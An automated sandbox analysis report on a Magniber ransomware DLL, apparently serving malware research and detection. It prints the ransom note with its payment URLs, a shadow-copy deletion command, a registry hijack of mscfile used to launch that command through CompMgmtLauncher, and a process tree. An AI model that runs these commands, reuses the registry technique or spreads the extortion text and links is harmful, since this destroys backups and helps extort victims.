Analysis
-
max time kernel
132s -
max time network
152s -
platform
windows7_x64 -
resource
win7-en-20211104 -
submitted
09-11-2021 07:13
Static task
static1
Behavioral task
behavioral1
Sample
rrthp.dll
Resource
win7-en-20211104
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
rrthp.dll
Resource
win10-en-20211014
windows10_x64
0 signatures
0 seconds
General
-
Target
rrthp.dll
-
Size
38KB
-
MD5
ad113aac83ec6568b0ead8e9000c438c
-
SHA1
28560487f939ae469dfc377cac35f29f27f384eb
-
SHA256
a9ac09156b87ab7f92e22205c9a805a1bbe14084fd67d7bf8982e0f1ea221731
-
SHA512
5672e5c1e73a85897bfc0884a704968a03cd92442413cdce3e81665565359290fdbeab7a8b3adb915a3e1fa96bc5f249cd80cc7a48362fbbdbd057896a8f3697
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://4630ac503c7c90508gihmepi.7hibj3fp6jlp52q2m4lv6thx2lr34itaayiydby2axofaql54dung3ad.onion/gihmepi
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://4630ac503c7c90508gihmepi.hateme.uno/gihmepi
http://4630ac503c7c90508gihmepi.oddson.quest/gihmepi
http://4630ac503c7c90508gihmepi.dearbet.sbs/gihmepi
http://4630ac503c7c90508gihmepi.legcore.space/gihmepi
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://4630ac503c7c90508gihmepi.7hibj3fp6jlp52q2m4lv6thx2lr34itaayiydby2axofaql54dung3ad.onion/gihmepi
http://4630ac503c7c90508gihmepi.hateme.uno/gihmepi
http://4630ac503c7c90508gihmepi.oddson.quest/gihmepi
http://4630ac503c7c90508gihmepi.dearbet.sbs/gihmepi
http://4630ac503c7c90508gihmepi.legcore.space/gihmepi
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 12 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 892 836 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1252 836 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 396 836 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 208 836 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 216 836 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1544 836 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 972 836 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 628 836 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 892 836 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1524 836 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1528 836 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1812 836 vssadmin.exe 37 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 3 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\ExpandUpdate.raw => C:\Users\Admin\Pictures\ExpandUpdate.raw.gihmepi rundll32.exe File renamed C:\Users\Admin\Pictures\MoveUnpublish.tif => C:\Users\Admin\Pictures\MoveUnpublish.tif.gihmepi rundll32.exe File renamed C:\Users\Admin\Pictures\SplitGrant.png => C:\Users\Admin\Pictures\SplitGrant.png.gihmepi rundll32.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1708 set thread context of 1104 1708 rundll32.exe 9 PID 1708 set thread context of 1180 1708 rundll32.exe 8 PID 1708 set thread context of 1212 1708 rundll32.exe 7 -
Interacts with shadow copies 2 TTPs 8 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 216 vssadmin.exe 1544 vssadmin.exe 972 vssadmin.exe 892 vssadmin.exe 1524 vssadmin.exe 1812 vssadmin.exe 892 vssadmin.exe 396 vssadmin.exe -
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bb601b266500a1439caac4cd216a44ab00000000020000000000106600000001000020000000be35f52025912839cd30d934ab8815f4c776a1fd87d0c741532be276008ec7b0000000000e8000000002000020000000158534034df2e29cb4969c7b4b85b54fdd6c6b50ae1c1577b64b3d69e7d950dd20000000218606e783de88da624e5732a18c88b45d6b9cbd8712f7bc713b2e2afad6c3e74000000040bd0f5996f04a93daf5c5bc6256f3ffa794ec668cbf87d4dee734f0cf3c32bfd36a3de1553603a9113cd39dcdbd8b71b85a79aa589920058de6343351dd6b77 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{11032211-412D-11EC-A418-4A11B852DD4F} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "343207211" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bb601b266500a1439caac4cd216a44ab00000000020000000000106600000001000020000000418c5c89004519a60def0b8481b8c22e250a52a898fe9761ce2c727b11f69a53000000000e80000000020000200000000263e262642e9ffc8e9395664662f1be35d50667c87ad6f2d84933cbd74d3400900000002ea2f3486225c98e4dd272dd261a895d4865ef855b69efd459dcc2efd65fbd2e775ffced635215ff0d710baf72cd94b653b7eb31d77a95dbd431fa571e9a9f59c761b9e3d2bf63c85bc148d922e7d63d79761cb5044f8ea48a3e6e238e7d44f4f63579ef10da86b166d43f346145494f963b90477cff1afd33be34c29c4902ae85a9714a4b21d9fa81cc32fc8f585fe640000000d15ef6ff1901b1b560df570fefec4433d0b1d5520822bb267a9d9098c90328e1a18194ebe3e43a26cfb5c0a1dc6e55efcf3fa94b2bad9188f6f6461ffee4da5d iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 506e24e939d5d701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command rundll32.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile rundll32.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell rundll32.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command Dwm.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command taskhost.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1392 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1708 rundll32.exe 1708 rundll32.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1212 Explorer.EXE -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 1708 rundll32.exe 1708 rundll32.exe 1708 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1212 Explorer.EXE Token: SeShutdownPrivilege 1212 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1460 WMIC.exe Token: SeSecurityPrivilege 1460 WMIC.exe Token: SeTakeOwnershipPrivilege 1460 WMIC.exe Token: SeLoadDriverPrivilege 1460 WMIC.exe Token: SeSystemProfilePrivilege 1460 WMIC.exe Token: SeSystemtimePrivilege 1460 WMIC.exe Token: SeProfSingleProcessPrivilege 1460 WMIC.exe Token: SeIncBasePriorityPrivilege 1460 WMIC.exe Token: SeCreatePagefilePrivilege 1460 WMIC.exe Token: SeBackupPrivilege 1460 WMIC.exe Token: SeRestorePrivilege 1460 WMIC.exe Token: SeShutdownPrivilege 1460 WMIC.exe Token: SeDebugPrivilege 1460 WMIC.exe Token: SeSystemEnvironmentPrivilege 1460 WMIC.exe Token: SeRemoteShutdownPrivilege 1460 WMIC.exe Token: SeUndockPrivilege 1460 WMIC.exe Token: SeManageVolumePrivilege 1460 WMIC.exe Token: 33 1460 WMIC.exe Token: 34 1460 WMIC.exe Token: 35 1460 WMIC.exe Token: SeIncreaseQuotaPrivilege 396 wmic.exe Token: SeSecurityPrivilege 396 wmic.exe Token: SeTakeOwnershipPrivilege 396 wmic.exe Token: SeLoadDriverPrivilege 396 wmic.exe Token: SeSystemProfilePrivilege 396 wmic.exe Token: SeSystemtimePrivilege 396 wmic.exe Token: SeProfSingleProcessPrivilege 396 wmic.exe Token: SeIncBasePriorityPrivilege 396 wmic.exe Token: SeCreatePagefilePrivilege 396 wmic.exe Token: SeBackupPrivilege 396 wmic.exe Token: SeRestorePrivilege 396 wmic.exe Token: SeShutdownPrivilege 396 wmic.exe Token: SeDebugPrivilege 396 wmic.exe Token: SeSystemEnvironmentPrivilege 396 wmic.exe Token: SeRemoteShutdownPrivilege 396 wmic.exe Token: SeUndockPrivilege 396 wmic.exe Token: SeManageVolumePrivilege 396 wmic.exe Token: 33 396 wmic.exe Token: 34 396 wmic.exe Token: 35 396 wmic.exe Token: SeIncreaseQuotaPrivilege 396 wmic.exe Token: SeSecurityPrivilege 396 wmic.exe Token: SeTakeOwnershipPrivilege 396 wmic.exe Token: SeLoadDriverPrivilege 396 wmic.exe Token: SeSystemProfilePrivilege 396 wmic.exe Token: SeSystemtimePrivilege 396 wmic.exe Token: SeProfSingleProcessPrivilege 396 wmic.exe Token: SeIncBasePriorityPrivilege 396 wmic.exe Token: SeCreatePagefilePrivilege 396 wmic.exe Token: SeBackupPrivilege 396 wmic.exe Token: SeRestorePrivilege 396 wmic.exe Token: SeShutdownPrivilege 396 wmic.exe Token: SeDebugPrivilege 396 wmic.exe Token: SeSystemEnvironmentPrivilege 396 wmic.exe Token: SeRemoteShutdownPrivilege 396 wmic.exe Token: SeUndockPrivilege 396 wmic.exe Token: SeManageVolumePrivilege 396 wmic.exe Token: 33 396 wmic.exe Token: 34 396 wmic.exe Token: 35 396 wmic.exe Token: SeIncreaseQuotaPrivilege 1460 WMIC.exe Token: SeSecurityPrivilege 1460 WMIC.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 1400 iexplore.exe 1212 Explorer.EXE 1212 Explorer.EXE -
Suspicious use of SendNotifyMessage 12 IoCs
pid Process 1212 Explorer.EXE 1212 Explorer.EXE 1212 Explorer.EXE 1212 Explorer.EXE 1212 Explorer.EXE 1212 Explorer.EXE 1212 Explorer.EXE 1212 Explorer.EXE 1212 Explorer.EXE 1212 Explorer.EXE 1212 Explorer.EXE 1212 Explorer.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1400 iexplore.exe 1400 iexplore.exe 1384 IEXPLORE.EXE 1384 IEXPLORE.EXE 1384 IEXPLORE.EXE 1384 IEXPLORE.EXE -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 1212 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1708 wrote to memory of 1392 1708 rundll32.exe 28 PID 1708 wrote to memory of 1392 1708 rundll32.exe 28 PID 1708 wrote to memory of 1392 1708 rundll32.exe 28 PID 1708 wrote to memory of 1004 1708 rundll32.exe 29 PID 1708 wrote to memory of 1004 1708 rundll32.exe 29 PID 1708 wrote to memory of 1004 1708 rundll32.exe 29 PID 1708 wrote to memory of 396 1708 rundll32.exe 30 PID 1708 wrote to memory of 396 1708 rundll32.exe 30 PID 1708 wrote to memory of 396 1708 rundll32.exe 30 PID 1708 wrote to memory of 1940 1708 rundll32.exe 31 PID 1708 wrote to memory of 1940 1708 rundll32.exe 31 PID 1708 wrote to memory of 1940 1708 rundll32.exe 31 PID 1940 wrote to memory of 1460 1940 cmd.exe 34 PID 1940 wrote to memory of 1460 1940 cmd.exe 34 PID 1940 wrote to memory of 1460 1940 cmd.exe 34 PID 1004 wrote to memory of 1400 1004 cmd.exe 36 PID 1004 wrote to memory of 1400 1004 cmd.exe 36 PID 1004 wrote to memory of 1400 1004 cmd.exe 36 PID 1252 wrote to memory of 828 1252 cmd.exe 46 PID 1252 wrote to memory of 828 1252 cmd.exe 46 PID 1252 wrote to memory of 828 1252 cmd.exe 46 PID 1400 wrote to memory of 1384 1400 iexplore.exe 45 PID 1400 wrote to memory of 1384 1400 iexplore.exe 45 PID 1400 wrote to memory of 1384 1400 iexplore.exe 45 PID 1400 wrote to memory of 1384 1400 iexplore.exe 45 PID 828 wrote to memory of 1004 828 CompMgmtLauncher.exe 48 PID 828 wrote to memory of 1004 828 CompMgmtLauncher.exe 48 PID 828 wrote to memory of 1004 828 CompMgmtLauncher.exe 48 PID 1180 wrote to memory of 396 1180 Dwm.exe 53 PID 1180 wrote to memory of 396 1180 Dwm.exe 53 PID 1180 wrote to memory of 396 1180 Dwm.exe 53 PID 1180 wrote to memory of 1168 1180 Dwm.exe 54 PID 1180 wrote to memory of 1168 1180 Dwm.exe 54 PID 1180 wrote to memory of 1168 1180 Dwm.exe 54 PID 208 wrote to memory of 628 208 cmd.exe 62 PID 208 wrote to memory of 628 208 cmd.exe 62 PID 208 wrote to memory of 628 208 cmd.exe 62 PID 628 wrote to memory of 1656 628 CompMgmtLauncher.exe 63 PID 628 wrote to memory of 1656 628 CompMgmtLauncher.exe 63 PID 628 wrote to memory of 1656 628 CompMgmtLauncher.exe 63 PID 1104 wrote to memory of 2020 1104 taskhost.exe 67 PID 1104 wrote to memory of 2020 1104 taskhost.exe 67 PID 1104 wrote to memory of 2020 1104 taskhost.exe 67 PID 1104 wrote to memory of 1168 1104 taskhost.exe 68 PID 1104 wrote to memory of 1168 1104 taskhost.exe 68 PID 1104 wrote to memory of 1168 1104 taskhost.exe 68 PID 628 wrote to memory of 1656 628 cmd.exe 76 PID 628 wrote to memory of 1656 628 cmd.exe 76 PID 628 wrote to memory of 1656 628 cmd.exe 76 PID 1656 wrote to memory of 1832 1656 CompMgmtLauncher.exe 77 PID 1656 wrote to memory of 1832 1656 CompMgmtLauncher.exe 77 PID 1656 wrote to memory of 1832 1656 CompMgmtLauncher.exe 77 PID 1212 wrote to memory of 1512 1212 Explorer.EXE 81 PID 1212 wrote to memory of 1512 1212 Explorer.EXE 81 PID 1212 wrote to memory of 1512 1212 Explorer.EXE 81 PID 1212 wrote to memory of 320 1212 Explorer.EXE 83 PID 1212 wrote to memory of 320 1212 Explorer.EXE 83 PID 1212 wrote to memory of 320 1212 Explorer.EXE 83 PID 320 wrote to memory of 1736 320 cmd.exe 85 PID 320 wrote to memory of 1736 320 cmd.exe 85 PID 320 wrote to memory of 1736 320 cmd.exe 85 PID 1528 wrote to memory of 1832 1528 cmd.exe 90 PID 1528 wrote to memory of 1832 1528 cmd.exe 90 PID 1528 wrote to memory of 1832 1528 cmd.exe 90
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\rrthp.dll,#11⤵
- Modifies extensions of user files
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1708 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1392
-
-
C:\Windows\system32\cmd.execmd /c "start http://4630ac503c7c90508gihmepi.hateme.uno/gihmepi^&1^&44496517^&59^&299^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:1004 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://4630ac503c7c90508gihmepi.hateme.uno/gihmepi&1&44496517&59&299&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1400 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1400 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1384
-
-
-
-
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:396
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1460
-
-
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:1512
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:1736
-
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:396
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵PID:1168
-
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:1040
-
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:2020
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵PID:1168
-
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:216
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:892
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:828 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1004
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1688
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:396
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:208 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1656
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:216
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1544
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:972
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1832
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:892
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1524
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1528 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:1832
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1944
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1812